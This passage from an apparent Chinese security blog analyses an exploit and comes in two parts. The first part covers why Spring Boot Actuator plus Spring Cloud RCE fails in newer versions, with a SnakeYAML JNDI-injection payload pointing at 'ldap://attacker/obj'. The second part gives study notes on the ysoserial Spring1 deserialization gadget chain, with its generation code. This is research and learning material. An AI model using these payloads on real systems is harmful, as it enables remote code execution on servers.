<p>再来看一下 2.x 版本的，会发现没有了</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-2-propertiesSources.png" alt="image-20191130162850070" /></p>

<p>而 PropertySources 的加载代码在 <code class="language-plaintext highlighter-rouge">org.springframework.cloud.context.refresh.ContextRefresher</code> 的 <code class="language-plaintext highlighter-rouge">copyEnvironment()</code> 方法中</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="nc">StandardEnvironment</span> <span class="nf">copyEnvironment</span><span class="o">(</span><span class="nc">ConfigurableEnvironment</span> <span class="n">input</span><span class="o">)</span>
</code></pre></div></div>

<p>相同的，我们先来看一下 1.x 的逻辑</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="kd">private</span> <span class="nc">StandardEnvironment</span> <span class="nf">copyEnvironment</span><span class="o">(</span><span class="nc">ConfigurableEnvironment</span> <span class="n">input</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">StandardEnvironment</span> <span class="n">environment</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StandardEnvironment</span><span class="o">();</span>
		<span class="nc">MutablePropertySources</span> <span class="n">capturedPropertySources</span> <span class="o">=</span> <span class="n">environment</span><span class="o">.</span><span class="na">getPropertySources</span><span class="o">();</span>
    <span class="c1">// 清空</span>
		<span class="k">for</span> <span class="o">(</span><span class="nc">PropertySource</span><span class="o">&lt;?&gt;</span> <span class="n">source</span> <span class="o">:</span> <span class="n">capturedPropertySources</span><span class="o">)</span> <span class="o">{</span>
			<span class="n">capturedPropertySources</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="n">source</span><span class="o">.</span><span class="na">getName</span><span class="o">());</span>
		<span class="o">}</span>
    <span class="c1">// 见下图</span>
		<span class="k">for</span> <span class="o">(</span><span class="nc">PropertySource</span><span class="o">&lt;?&gt;</span> <span class="n">source</span> <span class="o">:</span> <span class="n">input</span><span class="o">.</span><span class="na">getPropertySources</span><span class="o">())</span> <span class="o">{</span>
			<span class="n">capturedPropertySources</span><span class="o">.</span><span class="na">addLast</span><span class="o">(</span><span class="n">source</span><span class="o">);</span>
		<span class="o">}</span>
		<span class="n">environment</span><span class="o">.</span><span class="na">setActiveProfiles</span><span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">getActiveProfiles</span><span class="o">());</span>
		<span class="n">environment</span><span class="o">.</span><span class="na">setDefaultProfiles</span><span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">getDefaultProfiles</span><span class="o">());</span>
		<span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;</span> <span class="n">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;();</span>
		<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"spring.jmx.enabled"</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span>
		<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"spring.main.sources"</span><span class="o">,</span> <span class="s">""</span><span class="o">);</span>
		<span class="n">capturedPropertySources</span>
				<span class="o">.</span><span class="na">addFirst</span><span class="o">(</span><span class="k">new</span> <span class="nc">MapPropertySource</span><span class="o">(</span><span class="no">REFRESH_ARGS_PROPERTY_SOURCE</span><span class="o">,</span> <span class="n">map</span><span class="o">));</span>
		<span class="k">return</span> <span class="n">environment</span><span class="o">;</span>
	<span class="o">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">input.getPropertySources()</code> 的值</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-1-copyEnvironment.png" alt="image-20191130171807878" /></p>

<p>以下是 2.x 的逻辑</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="no">DEFAULT_PROPERTY_SOURCES</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]</span> <span class="o">{</span>
			<span class="c1">// order matters, if cli args aren't first, things get messy</span>
  		<span class="c1">// commandLineArgs</span>
			<span class="nc">CommandLinePropertySource</span><span class="o">.</span><span class="na">COMMAND_LINE_PROPERTY_SOURCE_NAME</span><span class="o">,</span>
			<span class="s">"defaultProperties"</span> <span class="o">};</span>

	<span class="kd">private</span> <span class="nc">StandardEnvironment</span> <span class="nf">copyEnvironment</span><span class="o">(</span><span class="nc">ConfigurableEnvironment</span> <span class="n">input</span><span class="o">)</span> <span class="o">{</span>
		<span class="nc">StandardEnvironment</span> <span class="n">environment</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">StandardEnvironment</span><span class="o">();</span>
		<span class="nc">MutablePropertySources</span> <span class="n">capturedPropertySources</span> <span class="o">=</span> <span class="n">environment</span><span class="o">.</span><span class="na">getPropertySources</span><span class="o">();</span>
    <span class="c1">// 以下代码发生了变化</span>
		<span class="c1">// Only copy the default property source(s) and the profiles over from the main</span>
		<span class="c1">// environment (everything else should be pristine, just like it was on startup).</span>
		<span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">name</span> <span class="o">:</span> <span class="no">DEFAULT_PROPERTY_SOURCES</span><span class="o">)</span> <span class="o">{</span>
			<span class="k">if</span> <span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">getPropertySources</span><span class="o">().</span><span class="na">contains</span><span class="o">(</span><span class="n">name</span><span class="o">))</span> <span class="o">{</span>
        <span class="c1">// 替换</span>
				<span class="k">if</span> <span class="o">(</span><span class="n">capturedPropertySources</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">name</span><span class="o">))</span> <span class="o">{</span>
					<span class="n">capturedPropertySources</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="n">name</span><span class="o">,</span>
							<span class="n">input</span><span class="o">.</span><span class="na">getPropertySources</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="n">name</span><span class="o">));</span>
				<span class="o">}</span>
				<span class="k">else</span> <span class="o">{</span> <span class="c1">// 添加</span>
					<span class="n">capturedPropertySources</span><span class="o">.</span><span class="na">addLast</span><span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">getPropertySources</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="n">name</span><span class="o">));</span>
				<span class="o">}</span>
			<span class="o">}</span>
		<span class="o">}</span>
		<span class="n">environment</span><span class="o">.</span><span class="na">setActiveProfiles</span><span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">getActiveProfiles</span><span class="o">());</span>
		<span class="n">environment</span><span class="o">.</span><span class="na">setDefaultProfiles</span><span class="o">(</span><span class="n">input</span><span class="o">.</span><span class="na">getDefaultProfiles</span><span class="o">());</span>
		<span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;</span> <span class="n">map</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;();</span>
		<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"spring.jmx.enabled"</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span>
		<span class="n">map</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"spring.main.sources"</span><span class="o">,</span> <span class="s">""</span><span class="o">);</span>
		<span class="n">capturedPropertySources</span>
				<span class="o">.</span><span class="na">addFirst</span><span class="o">(</span><span class="k">new</span> <span class="nc">MapPropertySource</span><span class="o">(</span><span class="no">REFRESH_ARGS_PROPERTY_SOURCE</span><span class="o">,</span> <span class="n">map</span><span class="o">));</span>
		<span class="k">return</span> <span class="n">environment</span><span class="o">;</span>
	<span class="o">}</span>
</code></pre></div></div>

<p>根据代码可以知道，只有 name 在 <code class="language-plaintext highlighter-rouge">DEFAULT_PROPERTY_SOURCES</code> 中的 <code class="language-plaintext highlighter-rouge">PropertySource</code> 才会被处理，其值为 String 数组，仅包含</p>

<ul>
  <li>commandLineArgs</li>
  <li>defaultProperties</li>
</ul>

<p>而我们添加的是属性值是在 name 为 <code class="language-plaintext highlighter-rouge">manager</code> 的 <code class="language-plaintext highlighter-rouge">PropertySource</code> ，因此不会被添加到 environment 的 propertySources (<code class="language-plaintext highlighter-rouge">capturedPropertySources</code>) 中，最终导致无法 resolve</p>

<p>到此，可以确定通过修改 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 属性实现 RCE 的方法在高版本下无法成功</p>

<p>为了找到可利用的版本范围，看了下 git 的提交记录，发现该<a href="https://github.com/spring-cloud/spring-cloud-commons/commit/91f60b3f4cad8a5ce2976a43ee33220c39bd762b#diff-38bfd6c45be21acfba1aac62e7250f69">修改</a>是在 <code class="language-plaintext highlighter-rouge">spring-cloud-commons</code> 1.3.0.RELEASE 合并的，因此只有依赖小于 <code class="language-plaintext highlighter-rouge">1.3.0.RELEASE</code> 才受影响</p>

<p>并且 Spring Cloud 相关 jar 包的依赖版本取决于 <code class="language-plaintext highlighter-rouge">spring-cloud-dependencies</code> 的版本，通过 pom.xml 可以知道， <code class="language-plaintext highlighter-rouge">spring-cloud-dependencies</code>  的 Dalston.RELEASE 版本依赖的还是 1.2.0 的  <code class="language-plaintext highlighter-rouge">spring-cloud-commons</code> ，而之后的版本则依赖 &gt;= 1.3.0，根据文档 https://spring.io/projects/spring-cloud 中 Spring Cloud 对 Spring Boot 的版本适配说明</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/cloud-boot-compatibility.png" alt="image-20191130175148009" /></p>

<p>我们可以知道</p>

<ul>
  <li>Spring Boot 2.x 无法利用成功</li>
  <li>Spring Boot 1.5.x 在使用 <code class="language-plaintext highlighter-rouge">Dalston</code> 版本时可利用成功，使用 <code class="language-plaintext highlighter-rouge">Edgware</code> 无法成功</li>
  <li>Spring Boot &lt;= 1.4 可利用成功</li>
</ul>

<h2 id="0x04-思考">0x04. 思考</h2>

<h3 id="how-to-find">How to find?</h3>

<p>作者是如何找到这个利用方式的？这个一直是看完这种大佬文章后第一个想知道答案的问题，也是最难的问题，这里尝试找到一些思路和线索</p>

<p>首先，在不使用 Spring Cloud 组件时，Spring Boot Actuator 的 <code class="language-plaintext highlighter-rouge">/env</code> endpoint 默认情况下只能读取环境变量的值，因此第一问题就是，如何得知有可以修改环境变量的功能？</p>

<p>这里就需要对 Spring 生态，如 Spring Boot, Spring Cloud 等，有一定的了解和使用经验，否则会无从下手。通过搜索 Spring Cloud 的文档，找到了相关说明 https://cloud.spring.io/spring-cloud-static/spring-cloud.html#_endpoints</p>

<blockquote>
  <ul>
    <li>
      <p>POST to <code class="language-plaintext highlighter-rouge">/env</code> to update the <code class="language-plaintext highlighter-rouge">Environment</code> and rebind <code class="language-plaintext highlighter-rouge">@ConfigurationProperties</code> and log levels</p>
    </li>
    <li>
      <p><code class="language-plaintext highlighter-rouge">/refresh</code> for re-loading the boot strap context and refreshing the <code class="language-plaintext highlighter-rouge">@RefreshScope</code> beans</p>
    </li>
  </ul>
</blockquote>

<p>从文档中，我们也知道了请求 <code class="language-plaintext highlighter-rouge">/refresh</code> 可以触发 bootstrap context reload，并加载修改后的环境变量</p>

<p>那么接下来的问题就是找到哪些环境变量是可以修改的，并且在 reload 之后会执行某些敏感的操作。根据文章中的说明，能修改的环境变量非常的多，需要一一尝试。</p>

<p>这里正向思考没有什么思路，转从逆向，尝试从 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 入手，根据  Spring 文档中的说明 <a href="https://cloud.spring.io/spring-cloud-commons/multi/multi__spring_cloud_context_application_context_services.html#customizing-bootstrap-properties">customizing-bootstrap-properties</a></p>

<blockquote>
  <p>The <code class="language-plaintext highlighter-rouge">bootstrap.yml</code> (or <code class="language-plaintext highlighter-rouge">.properties</code>) location can be specified by setting <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.name</code> (default: <code class="language-plaintext highlighter-rouge">bootstrap</code>) or <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> (default: empty) — for example, in System properties.</p>
</blockquote>

<p>可以得知这个变量是用于指定 bootstrap 配置文件的位置，支持的文件格式包括 <code class="language-plaintext highlighter-rouge">yml</code> 和 <code class="language-plaintext highlighter-rouge">properties</code> ，对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在<a href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet">反序列化</a>的问题，如果这里配置文件的内容我们能够控制，就存在可以被利用的可能。</p>

<p>再下一步，就是结合 Spring Cloud 源码和动手 debug，确定 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 环境变量的处理和配置文件的解析过程。根据前面的分析，我们知道代码中会下载指定的 yml 文件，并且使用 SnakeYAML 库进行解析，因此存在反序列化漏洞。</p>

<p>当然，实际的过程会比刚才描述的要复杂很多，需要投入很多的时间和精力阅读文档、调试代码。</p>

<h3 id="snakeyaml-payload">SnakeYAML Payload</h3>

<p>根据 https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf 中的介绍，除了 <code class="language-plaintext highlighter-rouge">javax.script.ScriptEngineManager </code> 类外，我们还可以使用 <code class="language-plaintext highlighter-rouge">com.sun.rowset.JdbcRowSetImpl</code> 类，通过 JNDI 注入来完成利用，payload 如下</p>

<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">!!com.sun.rowset.JdbcRowSetImpl</span>
  <span class="na">dataSourceName</span><span class="pi">:</span> <span class="s">ldap://attacker/obj</span>
  <span class="na">autoCommit</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>

<p>相比 <code class="language-plaintext highlighter-rouge">ScriptEngineManager</code>，JNDI 注入在高版本 JDK 利用会有一些限制，不过因为 Spring Boot 默认使用 Tomcat 容器，仍可以成功利用，详细可参考 Michael Stepankin 大佬的另一篇文章 <a href="https://www.veracode.com/blog/research/exploiting-jndi-injections-java">Exploiting JNDI Injections in Java</a></p>

<h3 id="changes-in-yamlpropertysourceloader">Changes In YamlPropertySourceLoader</h3>

<p>在寻找高版本 Spring Boot Actuator 失败原因的过程中，也发现了即使  <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 能够成功 resolve，也仍然无法成功，原因在与 Spring boot 中解析 yml 的类 <code class="language-plaintext highlighter-rouge">org.springframework.boot.env.YamlPropertySourceLoader</code> 逻辑也发生了变化，测试代码如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nd">@Test</span>
    <span class="kd">public</span> <span class="kt">void</span> <span class="nf">test</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
        <span class="k">new</span> <span class="nf">YamlPropertySourceLoader</span><span class="o">().</span><span class="na">load</span><span class="o">(</span><span class="s">"name"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">ClassPathResource</span><span class="o">(</span><span class="s">"payload/yaml-payload.yml"</span><span class="o">));</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>执行后会报如下错误</p>

<p><img src="/assets/images/actuator_cloud_boostrap_location/boot-2-yamlpropertysourceloader-type-mismatch.png" alt="image-20191130232431309" /></p>

<p>错误信息很明显，实例化 <code class="language-plaintext highlighter-rouge">java.net.URL</code> 时，构造方法的参数类型不正确，debug 后发现，高版本的 Spring Boot 将解析后的值存放在了 <code class="language-plaintext highlighter-rouge">org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence</code> 类中，而不是 <code class="language-plaintext highlighter-rouge">java.lang.String</code>，导致在反射创建实例时失败</p>

<h2 id="0x05-总结">0x05. 总结</h2>

<p>文章简单分析了在同时使用 Spring Boot Actuator 和 Spring Cloud 时，利用修改 <code class="language-plaintext highlighter-rouge">spring.cloud.bootstrap.location</code> 环境变量实现 RCE 的原理和步骤，虽然在高版本中无法利用成功，但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多，或许会有更多的利用方法，感兴趣的师父可以尝试研究一下。</p>

<p>最后，因个人水平有限，文章中可能会有描述不准确或者错误的地方，欢迎大家指出和交流</p>

<h2 id="0x06-参考">0x06. 参考</h2>

<ul>
  <li><a href="https://www.veracode.com/blog/research/exploiting-spring-boot-actuators">Exploiting Spring Boot Actuators</a></li>
  <li><a href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml">Java-Deserialization-Cheat-Sheet - SnakeYAML (YAML)</a></li>
  <li><a href="https://github.com/mbechler/marshalsec">Java Unmarshaller Security</a></li>
  <li><a href="https://bitbucket.org/asomov/snakeyaml/wiki/Documentation">SnakeYAML Documentation</a></li>
  <li><a href="https://spring.io/projects/spring-cloud">Spring Cloud</a></li>
  <li><a href="https://cloud.spring.io/spring-cloud-commons/multi/multi__spring_cloud_context_application_context_services.html#_customizing_the_bootstrap_configuration">Spring Cloud Context: Application Context Services</a></li>
  <li><a href="https://github.com/b1ngz/spring-boot-actuator-cloud-vul">Spring Boot Actuator + Spring Cloud Vul Env</a></li>
</ul>]]></content><author><name>b1ngz</name></author><category term="Java" /><category term="反序列化" /><category term="Spring" /><summary type="html"><![CDATA[0x01. TL;DR]]></summary></entry><entry><title type="html">Java 反序列化 ysoserial Spring</title><link href="https://b1ngz.github.io/java-ysoserial-spring/" rel="alternate" type="text/html" title="Java 反序列化 ysoserial Spring" /><published>2019-05-02T11:11:00+00:00</published><updated>2019-05-02T11:11:00+00:00</updated><id>https://b1ngz.github.io/java-ysoserial-spring</id><content type="html" xml:base="https://b1ngz.github.io/java-ysoserial-spring/"><![CDATA[<h1 id="简介">简介</h1>

<p>Java 反序列化 ysoserial <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java">Spring1.java</a> 和 <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring2.java">Spring2.java</a> payload 学习笔记</p>

<h1 id="知识点">知识点</h1>

<p>以下是两个 payload 中涉及到的知识点：</p>

<ul>
  <li>
    <p>使用 <code class="language-plaintext highlighter-rouge">TemplatesImpl</code> 的 <code class="language-plaintext highlighter-rouge">_bytecodes</code> 字段存储恶意字节码，利用 <code class="language-plaintext highlighter-rouge">newTransformer()</code> 方法触发恶意代码执行 ，具体可以参考 <a href="https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/">Java反序列 Jdk7u21 Payload 学习笔记</a> 中关于 <code class="language-plaintext highlighter-rouge">TemplatesImpl</code> 的说明</p>
  </li>
  <li>
    <p>利用 <code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler</code> 控制代理方法调用的返回值。 在 <code class="language-plaintext highlighter-rouge">invoke()</code> 方法中的，当 proxy class 调用的方法名不是 <code class="language-plaintext highlighter-rouge">equals</code>、<code class="language-plaintext highlighter-rouge">toString</code>、<code class="language-plaintext highlighter-rouge">hashCode</code>、<code class="language-plaintext highlighter-rouge">annotationType</code> 时，会从 <code class="language-plaintext highlighter-rouge">memberValues</code> (类型为 Map) 取 key 为 <code class="language-plaintext highlighter-rouge">method</code> 对应的值。因为 <code class="language-plaintext highlighter-rouge">memberValues</code> 是可控的，因此可以指定某个方法的返回值，具体可参考下面的代码</p>

    <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">AnnotationInvocationHandler</span> <span class="kd">implements</span> <span class="nc">InvocationHandler</span><span class="o">,</span> <span class="nc">Serializable</span> <span class="o">{</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">Class</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">Annotation</span><span class="o">&gt;</span> <span class="n">type</span><span class="o">;</span>
    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;</span> <span class="n">memberValues</span><span class="o">;</span>
  
    <span class="nc">AnnotationInvocationHandler</span><span class="o">(</span><span class="nc">Class</span><span class="o">&lt;?</span> <span class="kd">extends</span> <span class="nc">Annotation</span><span class="o">&gt;</span> <span class="n">type</span><span class="o">,</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Object</span><span class="o">&gt;</span> <span class="n">memberValues</span><span class="o">)</span> <span class="o">{</span>
        <span class="k">this</span><span class="o">.</span><span class="na">type</span> <span class="o">=</span> <span class="n">type</span><span class="o">;</span>
        <span class="k">this</span><span class="o">.</span><span class="na">memberValues</span> <span class="o">=</span> <span class="n">memberValues</span><span class="o">;</span>
    <span class="o">}</span>
  
    <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">invoke</span><span class="o">(</span><span class="nc">Object</span> <span class="n">proxy</span><span class="o">,</span> <span class="nc">Method</span> <span class="n">method</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
        <span class="nc">String</span> <span class="n">member</span> <span class="o">=</span> <span class="n">method</span><span class="o">.</span><span class="na">getName</span><span class="o">();</span>
        <span class="nc">Class</span><span class="o">&lt;?&gt;[]</span> <span class="n">paramTypes</span> <span class="o">=</span> <span class="n">method</span><span class="o">.</span><span class="na">getParameterTypes</span><span class="o">();</span>
  
        <span class="c1">// Handle Object and Annotation methods</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">member</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"equals"</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="n">paramTypes</span><span class="o">.</span><span class="na">length</span> <span class="o">==</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span>
            <span class="n">paramTypes</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">==</span> <span class="nc">Object</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
            <span class="k">return</span> <span class="nf">equalsImpl</span><span class="o">(</span><span class="n">args</span><span class="o">[</span><span class="mi">0</span><span class="o">]);</span>
        <span class="k">assert</span> <span class="n">paramTypes</span><span class="o">.</span><span class="na">length</span> <span class="o">==</span> <span class="mi">0</span><span class="o">;</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">member</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"toString"</span><span class="o">))</span>
            <span class="k">return</span> <span class="nf">toStringImpl</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">member</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"hashCode"</span><span class="o">))</span>
            <span class="k">return</span> <span class="nf">hashCodeImpl</span><span class="o">();</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">member</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="s">"annotationType"</span><span class="o">))</span>
            <span class="k">return</span> <span class="n">type</span><span class="o">;</span>
  
        <span class="c1">// Handle annotation member accessors</span>
        <span class="nc">Object</span> <span class="n">result</span> <span class="o">=</span> <span class="n">memberValues</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">member</span><span class="o">);</span>
    <span class="o">...</span>
        <span class="k">return</span> <span class="n">result</span><span class="o">;</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p>利用的反序列化类为 <code class="language-plaintext highlighter-rouge">org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider</code></p>
  </li>
  <li>
    <p>使用到了 Spring AOP 包中  <code class="language-plaintext highlighter-rouge">InvocationHandler</code>，分别为</p>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler</code></li>
      <li><code class="language-plaintext highlighter-rouge">org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider</code></li>
    </ul>
  </li>
</ul>

<h1 id="spring1">Spring1</h1>

<p>payload 生成代码如下</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nc">Object</span> <span class="nf">getObject</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">command</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
    <span class="c1">// 使用 TemplatesImpl 存储恶意字节码</span>
    <span class="kd">final</span> <span class="nc">Object</span> <span class="n">templates</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createTemplatesImpl</span><span class="o">(</span><span class="n">command</span><span class="o">);</span>
    <span class="c1">// 使用 AnnotationInvocationHandler 创建 ObjectFactory 接口的动态代理</span>
    <span class="c1">// 并且调用 objectFactoryProxy 的 getObject() 方法会返回 templates 对象</span>
    <span class="kd">final</span> <span class="nc">ObjectFactory</span> <span class="n">objectFactoryProxy</span> <span class="o">=</span>
        <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMemoitizedProxy</span><span class="o">(</span><span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMap</span><span class="o">(</span><span class="s">"getObject"</span><span class="o">,</span> <span class="n">templates</span><span class="o">),</span> <span class="nc">ObjectFactory</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
    <span class="c1">// 使用 ObjectFactoryDelegatingInvocationHandler 代理 Type 和 Templates 接口，返回值类型为 Type </span>
    <span class="kd">final</span> <span class="nc">Type</span> <span class="n">typeTemplatesProxy</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createProxy</span><span class="o">((</span><span class="nc">InvocationHandler</span><span class="o">)</span>
                                                        <span class="nc">Reflections</span><span class="o">.</span><span class="na">getFirstCtor</span><span class="o">(</span><span class="s">"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"</span><span class="o">)</span>
                                                        <span class="o">.</span><span class="na">newInstance</span><span class="o">(</span><span class="n">objectFactoryProxy</span><span class="o">),</span> <span class="nc">Type</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="nc">Templates</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
    <span class="c1">// 使用 AnnotationInvocationHandler 创建 TypeProvider 接口的动态代理</span>
    <span class="c1">// 并且调用 typeProviderProxy 的 getType() 方法会返回 typeTemplatesProxy 对象</span>
    <span class="kd">final</span> <span class="nc">Object</span> <span class="n">typeProviderProxy</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMemoitizedProxy</span><span class="o">(</span>
        <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMap</span><span class="o">(</span><span class="s">"getType"</span><span class="o">,</span> <span class="n">typeTemplatesProxy</span><span class="o">),</span>
        <span class="n">forName</span><span class="o">(</span><span class="s">"org.springframework.core.SerializableTypeWrapper$TypeProvider"</span><span class="o">));</span>
    <span class="c1">// 创建最终反序列化对象 MethodInvokeTypeProvider</span>
    <span class="kd">final</span> <span class="nc">Constructor</span> <span class="n">mitpCtor</span> <span class="o">=</span> <span class="nc">Reflections</span><span class="o">.</span><span class="na">getFirstCtor</span><span class="o">(</span><span class="s">"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"</span><span class="o">);</span>
    <span class="c1">// 实例化，构造方法中，会将 provider 属性的值设置为 typeProviderProxy</span>
    <span class="kd">final</span> <span class="nc">Object</span> <span class="n">mitp</span> <span class="o">=</span> <span class="n">mitpCtor</span><span class="o">.</span><span class="na">newInstance</span><span class="o">(</span><span class="n">typeProviderProxy</span><span class="o">,</span> <span class="nc">Object</span><span class="o">.</span><span class="na">class</span><span class="o">.</span><span class="na">getMethod</span><span class="o">(</span><span class="s">"getClass"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{}),</span> <span class="mi">0</span><span class="o">);</span>
    <span class="c1">// 设置 methodName 属性的值为 newTransformer</span>
    <span class="nc">Reflections</span><span class="o">.</span><span class="na">setFieldValue</span><span class="o">(</span><span class="n">mitp</span><span class="o">,</span> <span class="s">"methodName"</span><span class="o">,</span> <span class="s">"newTransformer"</span><span class="o">);</span>

    <span class="k">return</span> <span class="n">mitp</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>来看一下 <code class="language-plaintext highlighter-rouge">MethodInvokeTypeProvider</code> 类的 <code class="language-plaintext highlighter-rouge">readObject()</code> 方法</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">readObject</span><span class="o">(</span><span class="nc">ObjectInputStream</span> <span class="n">inputStream</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ClassNotFoundException</span> <span class="o">{</span>
    <span class="n">inputStream</span><span class="o">.</span><span class="na">defaultReadObject</span><span class="o">();</span>
    <span class="c1">// methodName 的值为 newTransformer</span>
    <span class="c1">// this.provider 为代理对象，即 typeProviderProxy</span>
    <span class="nc">Method</span> <span class="n">method</span> <span class="o">=</span> <span class="nc">ReflectionUtils</span><span class="o">.</span><span class="na">findMethod</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">provider</span><span class="o">.</span><span class="na">getType</span><span class="o">().</span><span class="na">getClass</span><span class="o">(),</span> <span class="k">this</span><span class="o">.</span><span class="na">methodName</span><span class="o">);</span>
    <span class="c1">// 反射调用 this.provider 的 newTransformer 方法</span>
